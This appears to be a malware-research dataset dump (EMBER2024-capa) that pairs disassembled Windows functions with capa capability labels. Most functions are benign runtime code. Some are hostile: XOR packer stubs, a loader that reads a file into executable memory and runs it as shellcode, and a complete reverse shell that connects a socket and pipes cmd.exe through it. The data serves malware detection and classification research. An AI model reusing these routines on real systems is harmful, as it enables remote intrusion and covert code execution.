joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453bb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x18
push ebx
push esi
mov esi, eax
mov ebx, dword [esi + 8]
push edi
mov edi, dword [esi]
mov dword [esp + 0x14], edi
test ebx, ebx
jne 0x453be7
cmp dword [esi + 0x78], ebx
jne 0x453bd4
test byte [edi + 0x44], 8
jne 0x453bd4
mov byte [esi + 0x17], 1
push esi
call fcn.00438450
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x453d8a
mov eax, dword [esp + 0x28]
shl eax, 4
add eax, dword [edi + 0x10]
push ebp
mov dword [esp + 0x14], eax
xor edi, edi
jmp 0x453c04
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
mov ebp, dword [edi*8 + 0x4b8204]
mov ecx, dword [esp + 0x18]
push eax
push ebp
push ecx
call fcn.0042f9b0
add esp, 0xc
test eax, eax
jne 0x453c51
mov eax, dword [edi*8 + 0x4b8208]
test eax, eax
je 0x453cb0
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [edx]
push ebp
push eax
push str.CREATE_TABLE__Q._s__s_
push esi
call fcn.00442cb0
mov ecx, dword [esi + 0x64]
mov dword [esp + edi*4 + 0x30], ecx
mov byte [esp + edi + 0x24], 0x10
jmp 0x453cad
mov eax, dword [eax + 0x1c]
mov edx, dword [esp + 0x2c]
push ebp
push 1
push eax
mov dword [esp + edi*4 + 0x28], eax
push edx
mov eax, esi
mov byte [esp + edi + 0x20], 0
call fcn.00434ac0
mov eax, dword [esp + 0x44]
add esp, 0x10
test eax, eax
je 0x453c96
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x3c]
push eax
push ebp
push edx
push str.DELETE_FROM__Q._s_WHERE__s_Q
push esi
call fcn.00442cb0
add esp, 0x18
jmp 0x453cb0
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + edi*4 + 0x1c]
push 0
push eax
push ecx
push 0x87
push ebx
call fcn.00432e70
add esp, 0x14
inc edi
cmp edi, 3
jl 0x453c00
cmp dword [str.tbl_idx_stat], 0
je 0x453d89
mov edi, dword [esp + 0x30]
lea eax, [esp + 0x10]
lea edx, [esp + 0x1c]
sub eax, edi
mov ebp, 0x4b8208
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov ecx, dword [ebx + 0x88]
mov eax, dword [ebx + 0xc]
cmp dword [eax + 0x30], ecx
jg 0x453d0b
mov ecx, dword [esp + 0x2c]
push ecx
push edx
push edi
push 0x6b
mov esi, ebx
call fcn.00432e30
add esp, 0x10
jmp 0x453d3c
mov esi, dword [ebx + 0x58]
lea eax, [ecx + 1]
mov dword [ebx + 0x88], eax
lea eax, [ecx + ecx*4]
lea eax, [esi + eax*4]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x2c]
xor esi, esi
mov byte [eax], 0x6b
mov word [eax + 2], si
mov dword [eax + 4], edi
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], esi
mov byte [eax + 1], 0
mov eax, ecx
mov ecx, dword [ebx]
cmp byte [ecx + 0x49], 0
jne 0x453d58
lea edx, [eax + eax*4]
mov eax, dword [ebx + 0x58]
lea eax, [eax + edx*4]
mov byte [eax + 1], 0xfd
mov dword [eax + 0x10], 3
mov eax, dword [ebx + 0x88]
test eax, eax
jle 0x453d76
mov ecx, dword [esp + 0x18]
movzx dx, byte [ecx + edi]
mov ecx, dword [ebx + 0x58]
lea eax, [eax + eax*4]
mov word [ecx + eax*4 - 0x12], dx
add dword [esp + 0x14], 4
add ebp, 8
inc edi
cmp dword [ebp], 0
jne 0x453ce2
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x4619f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, dword [ebx + 0x14]
mov eax, dword [esi + 0x94]
xor edx, edx
div dword [esi + 0x98]
or byte [esi + 0x14], 4
mov edx, dword [ebx + 0x18]
lea ecx, [edx - 1]
push edi
xor edi, edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x18], edi
lea ebp, [eax - 1]
not ebp
and ebp, ecx
mov ecx, dword [esi + 0x18]
inc ebp
cmp edx, ecx
jbe 0x461a36
mov ebx, edx
sub ebx, ebp
inc ebx
jmp 0x461a47
lea edx, [eax + ebp - 1]
cmp edx, ecx
jbe 0x461a45
sub ecx, ebp
inc ecx
mov ebx, ecx
jmp 0x461a47
mov ebx, eax
cmp ebx, edi
mov dword [esp + 0x1c], edi
jle 0x461bf7
mov edi, ebp
cmp dword [esp + 0x10], 0
jne 0x461bf7
mov eax, dword [esp + 0x24]
cmp edi, dword [eax + 0x18]
je 0x461ac8
mov ecx, dword [esi + 0x38]
test ecx, ecx
je 0x461ac8
mov eax, edi
call fcn.0041f090
test eax, eax
je 0x461ac8
mov eax, dword [esi + 0xd4]
mov ecx, dword [eax + 0x2c]
push 0
push edi
push ecx
call dword [0x4c913c]
add esp, 0xc
test eax, eax
je 0x461abe
mov ecx, dword [eax + 4]
cmp dword [ecx], 0
mov edx, dword [esi + 0xd4]
jne 0x461ab0
push eax
push edi
push edx
call fcn.0041f390
add esp, 0xc
jmp 0x461abe
mov eax, 1
add dword [edx + 0xc], eax
add word [ecx + 0x1e], ax
mov eax, ecx
mov dword [esp + 0x14], eax
test eax, eax
je 0x461b19
jmp 0x461b06
mov eax, dword [0x4c91c8]
cdq
idiv dword [esi + 0x98]
inc eax
cmp edi, eax
je 0x461b19
mov eax, dword [esi + 0xcc]
push 0
lea edx, [esp + 0x18]
push edx
push edi
push esi
call eax
add esp, 0x10
mov dword [esp + 0x10], eax
test eax, eax
jne 0x461b19
mov eax, dword [esp + 0x14]
call fcn.00461930
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
test byte [eax + 0x1c], 8
je 0x461b14
mov dword [esp + 0x18], 1
call fcn.00420f70
mov eax, dword [esp + 0x1c]
inc eax
inc edi
cmp eax, ebx
mov dword [esp + 0x1c], eax
jl 0x461a55
cmp dword [esp + 0x10], 0
jne 0x461bf7
cmp dword [esp + 0x18], 0
je 0x461bf7
mov dword [esp + 0x24], ebx
mov eax, dword [esi + 0xd4]
mov ecx, dword [eax + 0x2c]
push 0
push ebp
push ecx
call dword [0x4c913c]
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x461beb
mov eax, dword [ecx + 4]
cmp dword [eax], 0
mov edx, dword [esi + 0xd4]
jne 0x461b80
push ecx
push ebp
push edx
call fcn.0041f390
add esp, 0xc
jmp 0x461b8c
mov ecx, 1
add dword [edx + 0xc], ecx
add word [eax + 0x1e], cx
test eax, eax
je 0x461beb
or word [eax + 0x1c], 8
movzx ecx, word [eax + 0x1c]
test cl, 0x20
je 0x461be6
mov ecx, dword [eax + 0x14]
dec dword [ecx + 0x78]
mov edx, dword [ecx + 0x88]
mov dword [eax + 0x10], edx
mov edi, dword [ecx + 0x3c]
mov dword [ecx + 0x88], eax
mov edx, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov ebx, dword [edi]
dec eax
push edx
mov dword [esp + 0x20], eax
mov eax, dword [ecx + 0x98]
cdq
push edx
push eax
mov eax, dword [esp + 0x28]
push 0
push eax
call fcn.004983c0
push edx
push eax
mov eax, dword [ebx + 0x48]
push edi
call eax
add esp, 0x10
jmp 0x461beb
call fcn.0041f400
inc ebp
sub dword [esp + 0x24], 1
jne 0x461b45
and byte [esi + 0x14], 0xfb
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x49473c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ca1d0]
jne 0x494746
repz ret
jmp fcn.0049e0fd

Function at 0x4aa9d4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0049c9a0
and dword [ebp - 4], 0
cmp dword [0x4d4b0c], 0
mov ebx, eax
jne 0x4aaa85
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4aab36
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4aab36
push eax
call fcn.0049c92e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4d4b0c], eax
call esi
push eax
call fcn.0049c92e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d4b10], eax
call esi
push eax
call fcn.0049c92e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4d4b14], eax
call esi
push eax
call fcn.0049c92e
pop ecx
mov dword [0x4d4b1c], eax
test eax, eax
je 0x4aaa85
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0049c92e
pop ecx
mov dword [0x4d4b18], eax
mov eax, dword [0x4d4b18]
cmp eax, ebx
je 0x4aaadd
cmp dword [0x4d4b1c], ebx
je 0x4aaadd
push eax
call fcn.0049c9a9
push dword [0x4d4b1c]
mov esi, eax
call fcn.0049c9a9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4aaadd
test edi, edi
je 0x4aaadd
call esi
test eax, eax
je 0x4aaad4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4aaad4
test byte [ebp - 0xc], 1
jne 0x4aaadd
or dword [ebp + 0x10], 0x200000
jmp 0x4aab16
mov eax, dword [0x4d4b10]
cmp eax, ebx
je 0x4aab16
push eax
call fcn.0049c9a9
pop ecx
test eax, eax
je 0x4aab16
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4aab16
mov eax, dword [0x4d4b14]
cmp eax, ebx
je 0x4aab16
push eax
call fcn.0049c9a9
pop ecx
test eax, eax
je 0x4aab16
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4d4b0c]
call fcn.0049c9a9
pop ecx
test eax, eax
je 0x4aab36
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4aab38
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x52705ea9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4310d2
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x519520cb
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x66ce34fd
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1e91665e
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10001340
Capabilities:
Check if file exists
Create pipe

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [esp + 0x10], edi
call fcn.10001940
mov ebx, 1
cmp eax, ebx
je 0x10001366
call fcn.10001980
cmp eax, ebx
jl 0x10001398
lea eax, [esp + 0x24]
push ebx
push eax
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push edi
lea ecx, [esp + 0x2c]
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea edx, [esp + 0x24]
lea esi, [esp + 0x18]
mov dword [esp + 0x1c], edx
cmp dword [esp + 0x40], edi
jne 0x10001492
cmp dword [0x10009d94], ebx
jne 0x100013b4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [str..pipeSFUSvcCtrl]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call esi
cmp eax, 0xffffffff
mov dword [0x10009d98], eax
jne 0x1000140f
call ebp
cmp eax, 2
jne 0x10001478
mov eax, edi
inc edi
push eax
push str._Pipe_Waiting_Pipe_Svr_Start__d_
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 8
push 0x3e8
call ebx
jmp 0x100013c6
push 0
lea ecx, [esp + 0x44]
push 0
push ecx
push eax
mov dword [esp + 0x50], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x14]
push edx
push 0
push eax
push 0x10001650
push 0
push 0
call fcn.100019d0
mov dword [0x10009d9c], eax
mov eax, dword [0x10009d94]
add esp, 0x18
test eax, eax
jne 0x10001464
call fcn.100018d0
push 0x64
call ebx
mov eax, dword [0x10009d94]
test eax, eax
je 0x10001452
pop edi
mov dword [esp + 0xc], 1
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
push eax
push str._Error_:_CreateNamedPipe__d_
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
mov eax, dword [esp + 0x18]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
mov ecx, dword [str..pipeSFUSvcCtrl]
push esi
push 0x96
push edi
push edi
push 0xff
push 6
push 3
push ecx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp eax, 0xffffffff
mov dword [0x10009d98], eax
je 0x100014f4
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x14]
push edx
push edi
push eax
push 0x10001520
push edi
push edi
call fcn.100019d0
add esp, 0x18
mov dword [0x10009d9c], eax
push str._test_:_Pipe_Server_Thread_Start_OK
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 4
mov dword [esp + 0x10], ebx
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._error_Create_g_hPipeThread___d_
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
mov eax, dword [esp + 0x18]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x10001730
Capabilities:
Read pipe
Write pipe

Disassembly:
sub esp, 8
mov eax, dword [0x10009d94]
push esi
cmp eax, 1
mov dword [esp + 4], 0xffffffff
jne 0x100017cb
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [0x10009d98]
lea ecx, [esp + 0xc]
push 4
push ecx
lea edx, [esp + 0x24]
push 4
push edx
push eax
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov esi, eax
test esi, esi
jne 0x10001791
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x14]
push eax
push ecx
push str._Pipe_SndMsg__d__:_error__d_
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 0xc
mov eax, esi
pop esi
add esp, 8
ret
mov eax, dword [esp + 4]
test eax, eax
jne 0x100017b2
mov edx, dword [esp + 0x14]
push edx
push str._Pipe_SndMsg__d___OK
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 8
mov eax, esi
pop esi
add esp, 8
ret
mov eax, dword [esp + 0x14]
push eax
push str._Pipe_SndMsg__NG
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 8
xor eax, eax
pop esi
add esp, 8
ret
push str._Pipe_Svr:_no_client
xor esi, esi
call sym.nsSvcCtrl.dll_void___cdecl_clearAllConnectCounter_void_
add esp, 4
mov eax, esi
pop esi
add esp, 8
ret

Function at 0x10001980
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
lea eax, [esp]
push esi
push eax
xor esi, esi
mov dword [esp + 8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x100019b2
mov eax, 1
pop esi
add esp, 0x94
ret
cmp eax, 6
mov eax, 2
je 0x100019be
mov eax, esi
pop esi
add esp, 0x94
ret
Function at 0x401220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401294
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push dword [ebp - 0x234]
lea eax, [ebp - 0x20c]
push eax
call edi
add esp, 8
test eax, eax
je 0x4012ae
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x401270
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040201e
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040201e
mov esp, ebp
pop ebp
ret
Function at 0x4012d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5bc], ecx
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x5b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
push dword [ebp - 0x5bc]
mov esi, eax
mov eax, 2
mov word [ebp - 0x428], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp - 0x5c0]
mov dword [ebp - 0x424], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
push 0
push 0
push 0
mov word [ebp - 0x426], ax
lea eax, [ebp - 0x428]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x401389
push esi
call edi
call ebx
jmp 0x401300
push 0x400
lea eax, [ebp - 0x418]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x418]
push 0
push 0x400
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x4013c2
push esi
call edi
call ebx
jmp 0x401300
movups xmm0, xmmword [str.cmd.exe]
lea eax, [ebp - 0x5d0]
mov dword [ebp - 0x618], 0x44
push eax
lea eax, [ebp - 0x618]
mov dword [ebp - 0x5ec], 0x101
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x5d8], esi
movups xmmword [ebp - 0x14], xmm0
mov dword [ebp - 0x5dc], esi
xorps xmm0, xmm0
mov dword [ebp - 0x5e0], esi
push eax
push 0
movlpd qword [ebp - 0x614], xmm0
movlpd qword [ebp - 0x60c], xmm0
movlpd qword [ebp - 0x604], xmm0
movlpd qword [ebp - 0x5fc], xmm0
movlpd qword [ebp - 0x5f4], xmm0
movlpd qword [ebp - 0x5e8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [ebp - 0x5d0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x5d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x5cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
lea eax, [ebp - 0x418]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x418]
push 0
push 0x400
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x4014ab
push esi
call edi
call ebx
jmp 0x401300
mov eax, str.exit_n
lea ecx, [ebp - 0x418]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4014d6
test dl, dl
je 0x4014d2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4014d6
add ecx, 2
add eax, 2
test dl, dl
jne 0x4014b6
xor eax, eax
jmp 0x4014db
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401300
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3